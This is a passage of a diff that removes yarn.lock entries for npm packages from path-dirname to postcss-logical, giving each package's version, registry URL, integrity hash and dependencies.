-path-dirname@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/path-dirname/-/path-dirname-1.0.2.tgz#cc33d24d525e099a5388c0336c6e32b9160609e0"
-  integrity sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=
-
-path-exists@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-2.1.0.tgz#0feb6c64f0fc518d9a754dd5efb62c7022761f4b"
-  integrity sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=
-  dependencies:
-    pinkie-promise "^2.0.0"
-
-path-exists@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515"
-  integrity sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=
-
-path-exists@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
-  integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
-
-path-is-absolute@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
-  integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18=
-
-path-is-inside@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/path-is-inside/-/path-is-inside-1.0.2.tgz#365417dede44430d1c11af61027facf074bdfc53"
-  integrity sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=
-
-path-key@^2.0.0, path-key@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/path-key/-/path-key-2.0.1.tgz#411cadb574c5a140d3a4b1910d40d80cc9f40b40"
-  integrity sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=
-
-path-key@^3.1.0:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
-  integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
-
-path-parse@^1.0.6:
-  version "1.0.7"
-  resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
-  integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
-
-path-root-regex@^0.1.0:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/path-root-regex/-/path-root-regex-0.1.2.tgz#bfccdc8df5b12dc52c8b43ec38d18d72c04ba96d"
-  integrity sha1-v8zcjfWxLcUsi0PsONGNcsBLqW0=
-
-path-root@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/path-root/-/path-root-0.1.1.tgz#9a4a6814cac1c0cd73360a95f32083c8ea4745b7"
-  integrity sha1-mkpoFMrBwM1zNgqV8yCDyOpHRbc=
-  dependencies:
-    path-root-regex "^0.1.0"
-
-path-to-regexp@0.1.7:
-  version "0.1.7"
-  resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c"
-  integrity sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=
-
-path-to-regexp@^1.7.0:
-  version "1.8.0"
-  resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-1.8.0.tgz#887b3ba9d84393e87a0a0b9f4cb756198b53548a"
-  integrity sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==
-  dependencies:
-    isarray "0.0.1"
-
-path-type@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/path-type/-/path-type-1.1.0.tgz#59c44f7ee491da704da415da5a4070ba4f8fe441"
-  integrity sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=
-  dependencies:
-    graceful-fs "^4.1.2"
-    pify "^2.0.0"
-    pinkie-promise "^2.0.0"
-
-path-type@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/path-type/-/path-type-2.0.0.tgz#f012ccb8415b7096fc2daa1054c3d72389594c73"
-  integrity sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM=
-  dependencies:
-    pify "^2.0.0"
-
-path-type@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/path-type/-/path-type-3.0.0.tgz#cef31dc8e0a1a3bb0d105c0cd97cf3bf47f4e36f"
-  integrity sha512-T2ZUsdZFHgA3u4e5PfPbjd7HDDpxPnQb5jN0SrDsjNSuVXHJqtwTnWqG0B1jZrgmJ/7lj1EmVIByWt1gxGkWvg==
-  dependencies:
-    pify "^3.0.0"
-
-path-type@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/path-type/-/path-type-4.0.0.tgz#84ed01c0a7ba380afe09d90a8c180dcd9d03043b"
-  integrity sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==
-
-pbkdf2@^3.0.17, pbkdf2@^3.0.3, pbkdf2@^3.0.9:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/pbkdf2/-/pbkdf2-3.1.2.tgz#dd822aa0887580e52f1a039dc3eda108efae3075"
-  integrity sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==
-  dependencies:
-    create-hash "^1.1.2"
-    create-hmac "^1.1.4"
-    ripemd160 "^2.0.1"
-    safe-buffer "^5.0.1"
-    sha.js "^2.4.8"
-
-performance-now@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/performance-now/-/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b"
-  integrity sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=
-
-picomatch@^2.0.4, picomatch@^2.2.1, picomatch@^2.2.3:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.3.0.tgz#f1f061de8f6a4bf022892e2d128234fb98302972"
-  integrity sha512-lY1Q/PiJGC2zOv/z391WOTD+Z02bCgsFfvxoXXf6h7kv9o+WmsmzYqrAwY63sNgOxE4xEdq0WyUnXfKeBrSvYw==
-
-pify@^2.0.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/pify/-/pify-2.3.0.tgz#ed141a6ac043a849ea588498e7dca8b15330e90c"
-  integrity sha1-7RQaasBDqEnqWISY59yosVMw6Qw=
-
-pify@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/pify/-/pify-3.0.0.tgz#e5a4acd2c101fdf3d9a4d07f0dbc4db49dd28176"
-  integrity sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=
-
-pify@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/pify/-/pify-4.0.1.tgz#4b2cd25c50d598735c50292224fd8c6df41e3231"
-  integrity sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==
-
-pify@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/pify/-/pify-5.0.0.tgz#1f5eca3f5e87ebec28cc6d54a0e4aaf00acc127f"
-  integrity sha512-eW/gHNMlxdSP6dmG6uJip6FXN0EQBwm2clYYd8Wul42Cwu/DK8HEftzsapcNdYe2MfLiIwZqsDk2RDEsTE79hA==
-
-pinkie-promise@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/pinkie-promise/-/pinkie-promise-2.0.1.tgz#2135d6dfa7a358c069ac9b178776288228450ffa"
-  integrity sha1-ITXW36ejWMBprJsXh3YogihFD/o=
-  dependencies:
-    pinkie "^2.0.0"
-
-pinkie@^2.0.0:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/pinkie/-/pinkie-2.0.4.tgz#72556b80cfa0d48a974e80e77248e80ed4f7f870"
-  integrity sha1-clVrgM+g1IqXToDnckjoDtT3+HA=
-
-pirates@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/pirates/-/pirates-4.0.1.tgz#643a92caf894566f91b2b986d2c66950a8e2fb87"
-  integrity sha512-WuNqLTbMI3tmfef2TKxlQmAiLHKtFhlsCZnPIpuv2Ow0RDVO8lfy1Opf4NUzlMXLjPl+Men7AuVdX6TA+s+uGA==
-  dependencies:
-    node-modules-regexp "^1.0.0"
-
-pkg-dir@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-1.0.0.tgz#7a4b508a8d5bb2d629d447056ff4e9c9314cf3d4"
-  integrity sha1-ektQio1bstYp1EcFb/TpyTFM89Q=
-  dependencies:
-    find-up "^1.0.0"
-
-pkg-dir@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-2.0.0.tgz#f6d5d1109e19d63edf428e0bd57e12777615334b"
-  integrity sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=
-  dependencies:
-    find-up "^2.1.0"
-
-pkg-dir@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-3.0.0.tgz#2749020f239ed990881b1f71210d51eb6523bea3"
-  integrity sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==
-  dependencies:
-    find-up "^3.0.0"
-
-pkg-dir@^4.1.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3"
-  integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==
-  dependencies:
-    find-up "^4.0.0"
-
-pkg-up@3.1.0, pkg-up@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/pkg-up/-/pkg-up-3.1.0.tgz#100ec235cc150e4fd42519412596a28512a0def5"
-  integrity sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==
-  dependencies:
-    find-up "^3.0.0"
-
-pkg-up@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/pkg-up/-/pkg-up-2.0.0.tgz#c819ac728059a461cab1c3889a2be3c49a004d7f"
-  integrity sha1-yBmscoBZpGHKscOImivjxJoATX8=
-  dependencies:
-    find-up "^2.1.0"
-
-plugin-error@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/plugin-error/-/plugin-error-0.1.2.tgz#3b9bb3335ccf00f425e07437e19276967da47ace"
-  integrity sha1-O5uzM1zPAPQl4HQ34ZJ2ln2kes4=
-  dependencies:
-    ansi-cyan "^0.1.1"
-    ansi-red "^0.1.1"
-    arr-diff "^1.0.1"
-    arr-union "^2.0.1"
-    extend-shallow "^1.1.2"
-
-plugin-error@^1.0.0, plugin-error@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/plugin-error/-/plugin-error-1.0.1.tgz#77016bd8919d0ac377fdcdd0322328953ca5781c"
-  integrity sha512-L1zP0dk7vGweZME2i+EeakvUNqSrdiI3F91TwEoYiGrAfUXmVv6fJIq4g82PAXxNsWOp0J7ZqQy/3Szz0ajTxA==
-  dependencies:
-    ansi-colors "^1.0.1"
-    arr-diff "^4.0.0"
-    arr-union "^3.1.0"
-    extend-shallow "^3.0.2"
-
-plur@^3.0.0:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/plur/-/plur-3.1.1.tgz#60267967866a8d811504fe58f2faaba237546a5b"
-  integrity sha512-t1Ax8KUvV3FFII8ltczPn2tJdjqbd1sIzu6t4JL7nQ3EyeL/lTrj5PWKb06ic5/6XYDr65rQ4uzQEGN70/6X5w==
-  dependencies:
-    irregular-plurals "^2.0.0"
-
-pn@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/pn/-/pn-1.1.0.tgz#e2f4cef0e219f463c179ab37463e4e1ecdccbafb"
-  integrity sha512-2qHaIQr2VLRFoxe2nASzsV6ef4yOOH+Fi9FBOVH6cqeSgUnoyySPZkxzLuzd+RYOQTRpROA0ztTMqxROKSb/nA==
-
-pngjs@^3.3.0:
-  version "3.4.0"
-  resolved "https://registry.yarnpkg.com/pngjs/-/pngjs-3.4.0.tgz#99ca7d725965fb655814eaf65f38f12bbdbf555f"
-  integrity sha512-NCrCHhWmnQklfH4MtJMRjZ2a8c80qXeMlQMv2uVp9ISJMTt562SbGd6n2oq0PaPgKm7Z6pL9E2UlLIhC+SHL3w==
-
-pnp-webpack-plugin@1.6.4:
-  version "1.6.4"
-  resolved "https://registry.yarnpkg.com/pnp-webpack-plugin/-/pnp-webpack-plugin-1.6.4.tgz#c9711ac4dc48a685dabafc86f8b6dd9f8df84149"
-  integrity sha512-7Wjy+9E3WwLOEL30D+m8TSTF7qJJUJLONBnwQp0518siuMxUQUbgZwssaFX+QKlZkjHZcw/IpZCt/H0srrntSg==
-  dependencies:
-    ts-pnp "^1.1.6"
-
-portfinder@^1.0.26:
-  version "1.0.28"
-  resolved "https://registry.yarnpkg.com/portfinder/-/portfinder-1.0.28.tgz#67c4622852bd5374dd1dd900f779f53462fac778"
-  integrity sha512-Se+2isanIcEqf2XMHjyUKskczxbPH7dQnlMjXX6+dybayyHvAf/TCgyMRlzf/B6QDhAEFOGes0pzRo3by4AbMA==
-  dependencies:
-    async "^2.6.2"
-    debug "^3.1.1"
-    mkdirp "^0.5.5"
-
-posix-character-classes@^0.1.0:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/posix-character-classes/-/posix-character-classes-0.1.1.tgz#01eac0fe3b5af71a2a6c02feabb8c1fef7e00eab"
-  integrity sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=
-
-postcss-attribute-case-insensitive@^4.0.1:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-4.0.2.tgz#d93e46b504589e94ac7277b0463226c68041a880"
-  integrity sha512-clkFxk/9pcdb4Vkn0hAHq3YnxBQ2p0CGD1dy24jN+reBck+EWxMbxSUqN4Yj7t0w8csl87K6p0gxBe1utkJsYA==
-  dependencies:
-    postcss "^7.0.2"
-    postcss-selector-parser "^6.0.2"
-
-postcss-browser-comments@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-browser-comments/-/postcss-browser-comments-3.0.0.tgz#1248d2d935fb72053c8e1f61a84a57292d9f65e9"
-  integrity sha512-qfVjLfq7HFd2e0HW4s1dvU8X080OZdG46fFbIBFjW7US7YPDcWfRvdElvwMJr2LI6hMmD+7LnH2HcmXTs+uOig==
-  dependencies:
-    postcss "^7"
-
-postcss-calc@^7.0.1:
-  version "7.0.5"
-  resolved "https://registry.yarnpkg.com/postcss-calc/-/postcss-calc-7.0.5.tgz#f8a6e99f12e619c2ebc23cf6c486fdc15860933e"
-  integrity sha512-1tKHutbGtLtEZF6PT4JSihCHfIVldU72mZ8SdZHIYriIZ9fh9k9aWSppaT8rHsyI3dX+KSR+W+Ix9BMY3AODrg==
-  dependencies:
-    postcss "^7.0.27"
-    postcss-selector-parser "^6.0.2"
-    postcss-value-parser "^4.0.2"
-
-postcss-color-functional-notation@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-color-functional-notation/-/postcss-color-functional-notation-2.0.1.tgz#5efd37a88fbabeb00a2966d1e53d98ced93f74e0"
-  integrity sha512-ZBARCypjEDofW4P6IdPVTLhDNXPRn8T2s1zHbZidW6rPaaZvcnCS2soYFIQJrMZSxiePJ2XIYTlcb2ztr/eT2g==
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-color-gray@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-color-gray/-/postcss-color-gray-5.0.0.tgz#532a31eb909f8da898ceffe296fdc1f864be8547"
-  integrity sha512-q6BuRnAGKM/ZRpfDascZlIZPjvwsRye7UDNalqVz3s7GDxMtqPY6+Q871liNxsonUw8oC61OG+PSaysYpl1bnw==
-  dependencies:
-    "@csstools/convert-colors" "^1.4.0"
-    postcss "^7.0.5"
-    postcss-values-parser "^2.0.0"
-
-postcss-color-hex-alpha@^5.0.3:
-  version "5.0.3"
-  resolved "https://registry.yarnpkg.com/postcss-color-hex-alpha/-/postcss-color-hex-alpha-5.0.3.tgz#a8d9ca4c39d497c9661e374b9c51899ef0f87388"
-  integrity sha512-PF4GDel8q3kkreVXKLAGNpHKilXsZ6xuu+mOQMHWHLPNyjiUBOr75sp5ZKJfmv1MCus5/DWUGcK9hm6qHEnXYw==
-  dependencies:
-    postcss "^7.0.14"
-    postcss-values-parser "^2.0.1"
-
-postcss-color-mod-function@^3.0.3:
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/postcss-color-mod-function/-/postcss-color-mod-function-3.0.3.tgz#816ba145ac11cc3cb6baa905a75a49f903e4d31d"
-  integrity sha512-YP4VG+xufxaVtzV6ZmhEtc+/aTXH3d0JLpnYfxqTvwZPbJhWqp8bSY3nfNzNRFLgB4XSaBA82OE4VjOOKpCdVQ==
-  dependencies:
-    "@csstools/convert-colors" "^1.4.0"
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-color-rebeccapurple@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-4.0.1.tgz#c7a89be872bb74e45b1e3022bfe5748823e6de77"
-  integrity sha512-aAe3OhkS6qJXBbqzvZth2Au4V3KieR5sRQ4ptb2b2O8wgvB3SJBsdG+jsn2BZbbwekDG8nTfcCNKcSfe/lEy8g==
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-colormin@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/postcss-colormin/-/postcss-colormin-4.0.3.tgz#ae060bce93ed794ac71264f08132d550956bd381"
-  integrity sha512-WyQFAdDZpExQh32j0U0feWisZ0dmOtPl44qYmJKkq9xFWY3p+4qnRzCHeNrkeRhwPHz9bQ3mo0/yVkaply0MNw==
-  dependencies:
-    browserslist "^4.0.0"
-    color "^3.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-convert-values@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-convert-values/-/postcss-convert-values-4.0.1.tgz#ca3813ed4da0f812f9d43703584e449ebe189a7f"
-  integrity sha512-Kisdo1y77KUC0Jmn0OXU/COOJbzM8cImvw1ZFsBgBgMgb1iL23Zs/LXRe3r+EZqM3vGYKdQ2YJVQ5VkJI+zEJQ==
-  dependencies:
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-custom-media@^7.0.8:
-  version "7.0.8"
-  resolved "https://registry.yarnpkg.com/postcss-custom-media/-/postcss-custom-media-7.0.8.tgz#fffd13ffeffad73621be5f387076a28b00294e0c"
-  integrity sha512-c9s5iX0Ge15o00HKbuRuTqNndsJUbaXdiNsksnVH8H4gdc+zbLzr/UasOwNG6CTDpLFekVY4672eWdiiWu2GUg==
-  dependencies:
-    postcss "^7.0.14"
-
-postcss-custom-properties@^8.0.11:
-  version "8.0.11"
-  resolved "https://registry.yarnpkg.com/postcss-custom-properties/-/postcss-custom-properties-8.0.11.tgz#2d61772d6e92f22f5e0d52602df8fae46fa30d97"
-  integrity sha512-nm+o0eLdYqdnJ5abAJeXp4CEU1c1k+eB2yMCvhgzsds/e0umabFrN6HoTy/8Q4K5ilxERdl/JD1LO5ANoYBeMA==
-  dependencies:
-    postcss "^7.0.17"
-    postcss-values-parser "^2.0.1"
-
-postcss-custom-selectors@^5.1.2:
-  version "5.1.2"
-  resolved "https://registry.yarnpkg.com/postcss-custom-selectors/-/postcss-custom-selectors-5.1.2.tgz#64858c6eb2ecff2fb41d0b28c9dd7b3db4de7fba"
-  integrity sha512-DSGDhqinCqXqlS4R7KGxL1OSycd1lydugJ1ky4iRXPHdBRiozyMHrdu0H3o7qNOCiZwySZTUI5MV0T8QhCLu+w==
-  dependencies:
-    postcss "^7.0.2"
-    postcss-selector-parser "^5.0.0-rc.3"
-
-postcss-dir-pseudo-class@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-5.0.0.tgz#6e3a4177d0edb3abcc85fdb6fbb1c26dabaeaba2"
-  integrity sha512-3pm4oq8HYWMZePJY+5ANriPs3P07q+LW6FAdTlkFH2XqDdP4HeeJYMOzn0HYLhRSjBO3fhiqSwwU9xEULSrPgw==
-  dependencies:
-    postcss "^7.0.2"
-    postcss-selector-parser "^5.0.0-rc.3"
-
-postcss-discard-comments@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-discard-comments/-/postcss-discard-comments-4.0.2.tgz#1fbabd2c246bff6aaad7997b2b0918f4d7af4033"
-  integrity sha512-RJutN259iuRf3IW7GZyLM5Sw4GLTOH8FmsXBnv8Ab/Tc2k4SR4qbV4DNbyyY4+Sjo362SyDmW2DQ7lBSChrpkg==
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-discard-duplicates@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-discard-duplicates/-/postcss-discard-duplicates-4.0.2.tgz#3fe133cd3c82282e550fc9b239176a9207b784eb"
-  integrity sha512-ZNQfR1gPNAiXZhgENFfEglF93pciw0WxMkJeVmw8eF+JZBbMD7jp6C67GqJAXVZP2BWbOztKfbsdmMp/k8c6oQ==
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-discard-empty@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-discard-empty/-/postcss-discard-empty-4.0.1.tgz#c8c951e9f73ed9428019458444a02ad90bb9f765"
-  integrity sha512-B9miTzbznhDjTfjvipfHoqbWKwd0Mj+/fL5s1QOz06wufguil+Xheo4XpOnc4NqKYBCNqqEzgPv2aPBIJLox0w==
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-discard-overridden@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-discard-overridden/-/postcss-discard-overridden-4.0.1.tgz#652aef8a96726f029f5e3e00146ee7a4e755ff57"
-  integrity sha512-IYY2bEDD7g1XM1IDEsUT4//iEYCxAmP5oDSFMVU/JVvT7gh+l4fmjciLqGgwjdWpQIdb0Che2VX00QObS5+cTg==
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-double-position-gradients@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-double-position-gradients/-/postcss-double-position-gradients-1.0.0.tgz#fc927d52fddc896cb3a2812ebc5df147e110522e"
-  integrity sha512-G+nV8EnQq25fOI8CH/B6krEohGWnF5+3A6H/+JEpOncu5dCnkS1QQ6+ct3Jkaepw1NGVqqOZH6lqrm244mCftA==
-  dependencies:
-    postcss "^7.0.5"
-    postcss-values-parser "^2.0.0"
-
-postcss-env-function@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/postcss-env-function/-/postcss-env-function-2.0.2.tgz#0f3e3d3c57f094a92c2baf4b6241f0b0da5365d7"
-  integrity sha512-rwac4BuZlITeUbiBq60h/xbLzXY43qOsIErngWa4l7Mt+RaSkT7QBjXVGTcBHupykkblHMDrBFh30zchYPaOUw==
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-flexbugs-fixes@4.1.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-4.1.0.tgz#e094a9df1783e2200b7b19f875dcad3b3aff8b20"
-  integrity sha512-jr1LHxQvStNNAHlgco6PzY308zvLklh7SJVYuWUwyUQncofaAlD2l+P/gxKHOdqWKe7xJSkVLFF/2Tp+JqMSZA==
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-focus-visible@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-focus-visible/-/postcss-focus-visible-4.0.0.tgz#477d107113ade6024b14128317ade2bd1e17046e"
-  integrity sha512-Z5CkWBw0+idJHSV6+Bgf2peDOFf/x4o+vX/pwcNYrWpXFrSfTkQ3JQ1ojrq9yS+upnAlNRHeg8uEwFTgorjI8g==
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-focus-within@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-focus-within/-/postcss-focus-within-3.0.0.tgz#763b8788596cee9b874c999201cdde80659ef680"
-  integrity sha512-W0APui8jQeBKbCGZudW37EeMCjDeVxKgiYfIIEo8Bdh5SpB9sxds/Iq8SEuzS0Q4YFOlG7EPFulbbxujpkrV2w==
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-font-variant@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-font-variant/-/postcss-font-variant-4.0.1.tgz#42d4c0ab30894f60f98b17561eb5c0321f502641"
-  integrity sha512-I3ADQSTNtLTTd8uxZhtSOrTCQ9G4qUVKPjHiDk0bV75QSxXjVWiJVJ2VLdspGUi9fbW9BcjKJoRvxAH1pckqmA==
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-gap-properties@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-gap-properties/-/postcss-gap-properties-2.0.0.tgz#431c192ab3ed96a3c3d09f2ff615960f902c1715"
-  integrity sha512-QZSqDaMgXCHuHTEzMsS2KfVDOq7ZFiknSpkrPJY6jmxbugUPTuSzs/vuE5I3zv0WAS+3vhrlqhijiprnuQfzmg==
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-image-set-function@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-image-set-function/-/postcss-image-set-function-3.0.1.tgz#28920a2f29945bed4c3198d7df6496d410d3f288"
-  integrity sha512-oPTcFFip5LZy8Y/whto91L9xdRHCWEMs3e1MdJxhgt4jy2WYXfhkng59fH5qLXSCPN8k4n94p1Czrfe5IOkKUw==
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-initial@^3.0.0:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/postcss-initial/-/postcss-initial-3.0.4.tgz#9d32069a10531fe2ecafa0b6ac750ee0bc7efc53"
-  integrity sha512-3RLn6DIpMsK1l5UUy9jxQvoDeUN4gP939tDcKUHD/kM8SGSKbFAnvkpFpj3Bhtz3HGk1jWY5ZNWX6mPta5M9fg==
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-lab-function@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-lab-function/-/postcss-lab-function-2.0.1.tgz#bb51a6856cd12289ab4ae20db1e3821ef13d7d2e"
-  integrity sha512-whLy1IeZKY+3fYdqQFuDBf8Auw+qFuVnChWjmxm/UhHWqNHZx+B99EwxTvGYmUBqe3Fjxs4L1BoZTJmPu6usVg==
-  dependencies:
-    "@csstools/convert-colors" "^1.4.0"
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-load-config@^2.0.0, postcss-load-config@^2.1.1:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/postcss-load-config/-/postcss-load-config-2.1.2.tgz#c5ea504f2c4aef33c7359a34de3573772ad7502a"
-  integrity sha512-/rDeGV6vMUo3mwJZmeHfEDvwnTKKqQ0S7OHUi/kJvvtx3aWtyWG2/0ZWnzCt2keEclwN6Tf0DST2v9kITdOKYw==
-  dependencies:
-    cosmiconfig "^5.0.0"
-    import-cwd "^2.0.0"
-
-postcss-loader@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-loader/-/postcss-loader-3.0.0.tgz#6b97943e47c72d845fa9e03f273773d4e8dd6c2d"
-  integrity sha512-cLWoDEY5OwHcAjDnkyRQzAXfs2jrKjXpO/HQFcc5b5u/r7aa471wdmChmwfnv7x2u840iat/wi0lQ5nbRgSkUA==
-  dependencies:
-    loader-utils "^1.1.0"
-    postcss "^7.0.0"
-    postcss-load-config "^2.0.0"
-    schema-utils "^1.0.0"
-
-postcss-logical@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-logical/-/postcss-logical-3.0.0.tgz#2495d0f8b82e9f262725f75f9401b34e7b45d5b5"
